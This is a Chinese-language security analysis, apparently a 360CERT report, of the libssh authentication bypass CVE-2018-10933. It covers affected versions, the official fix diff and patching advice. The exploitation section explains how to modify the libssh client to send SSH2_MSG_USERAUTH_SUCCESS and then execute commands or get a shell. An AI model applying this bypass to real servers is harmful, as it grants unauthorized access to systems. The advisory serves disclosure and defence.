0x00 事件背景

2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题

libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息，攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。

 

0x01 详情分析

在libssh的example中已经存在一些server端的例子，测试环境则采用这些例子进行说明

这个漏洞能用，但目前就分析而言发现，无法很好的泛用，所以建议及时进行更新以免遭受影响

在libssh中以session的方式对会话进行处理，无论是server的建立还是client的连接。

均以

session = ssh_new();

进行session建立

因为这个漏洞是直接获得AUTH所以服务端的配置和客户端的连接认证方式等完全不用在意

简单的client连接示例的部分代码,以体现逻辑为主。

首先是设置一些参数，然后利用session进行连接

然后进行knownhost认证处理，这步就是平时在进行ssh连接的时候进行提醒的是否要保存信 息

if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0)
return -1;
if(ssh_connect(session)){
fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
return -1;
}
state=verify_knownhost(session);
if (state != 0)
return -1;
auth=authenticate_console(session);
if(auth != SSH_AUTH_SUCCESS){
return -1;
}

authenticate_console(session)

的流程为先发送一个ssh_userauth_none再根据选择的AUTH方式，尝试GSSAPI、PublicKey、 Password的方式

这里采用的patch掉client中发送密码认证的时候的数据包

将第二行的SSH2_MSG_USERAUTH_REQUEST -> SSH2_MSG_USERAUTH_SUCCESS

rc = ssh_buffer_pack(session->out_buffer, "bsssbs",
SSH2_MSG_USERAUTH_SUCCESS,
username ? username : session->opts.username,
"ssh-connection",
"password",
0, / false /
password
);

并且需要在ssh_userauth_get_response之前直接返回,因为这一步会再次向服务端进行通 信，但此时受影响版本的server已经Authentication successful

这时候的session就已经可以获得相应的权限了。通过官方的Tutorial的执行命令的例子调 用ssh_channel_request_exec进行命令执行

 

0x02 修复分析

官方通过增加字段，并注册额外的session状态校验函数进行检验，在处理流程中标注 session处于的状态，避免client随意发送SSH2_MSG_USERAUTH_SUCCESS进行bypass

+static enum ssh_packet_filter_result_e ssh_packet_incoming_filter(ssh_session session)

  • case SSH2_MSG_USERAUTH_SUCCESS: // 52
  • if ((session->auth_state != SSH_AUTH_STATE_KBDINT_SENT) &&
  • (session->auth_state != SSH_AUTH_STATE_PUBKEY_AUTH_SENT) &&
  • (session->auth_state != SSH_AUTH_STATE_PASSWORD_AUTH_SENT) &&
  • (session->auth_state != SSH_AUTH_STATE_GSSAPI_MIC_SENT) &&
  • (session->auth_state != SSH_AUTH_STATE_AUTH_NONE_SENT))
  • {
  • rc = SSH_PACKET_DENIED;
  • break;
  • }

    该校验函数判断session的状态是否处于 SSH_AUTH_STATE_PUBKEY_AUTH_SENT,SSH_AUTH_STATE_PASSWORD_AUTH_SENT,SSH_AUTH_STATE_NONE_SENT这些个状态 来确认是否要接受数据包里带有SSH2_MSG_USERAUTH_SUCCESS的情况

    @@ -88,6 +88,7 @@ static int ssh_auth_response_termination(void *user){
    case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
    case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
    case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:

  • case SSH_AUTH_STATE_AUTH_NONE_SENT:
    return 0;
    default:
    return 1;
    @@ -143,6 +144,7 @@ static int ssh_userauth_get_response(ssh_session session) {
    case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
    case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
    case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
  • case SSH_AUTH_STATE_AUTH_NONE_SENT:
    case SSH_AUTH_STATE_NONE:
    / not reached /
    rc = SSH_AUTH_ERROR;

    同时在每次的response校验中增加该字段，如果该字段存在就直接返回error

     

    0x03 验证截图

    执行命令

    alt

    获得shell

    alt

     

    0x04 影响范围

    libssh0.6以上的版本

    目前各大发行版中部分已经对相应package进行更新，但还未完全进行版本迭代，具体情况可以关注一下链接

    Debain

    https://security-tracker.debian.org/tracker/CVE-2018-10933

    ubuntu

    https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10933.html

    opensuse

    https://www.suse.com/security/cve/CVE-2018-10933/

    redhat

    https://access.redhat.com/security/cve/cve-2018-10933

    通过360CERT Quake资产检索平台发现共计3,170台设备开放libssh服务在外网，但并非所有的libssh服务均处于受影响的版本范围。该漏洞影响范围有限。

    alt

     

    0x05 修复建议

    及时对服务端libssh版本进行更新

    可以在如下网址下载最新的0.7.6以及0.8.4版本

    https://red.libssh.org/projects/libssh/files

    或者在如下地址寻找对应版本的patch文件

    https://www.libssh.org/security/

     

    0x06 时间线

    2018-10-16 libssh 官方发布重要更新

    2018-10-16 360CERT发布预警报告

    2018-10-17 360CERT发布分析报告

     

    0x07 参考链接

libssh官方更新
libssh修复patch
libssh CVE-2018-10933说明
360CERT预警报告

文章原文链接:https://www.anquanke.com/post/id/162225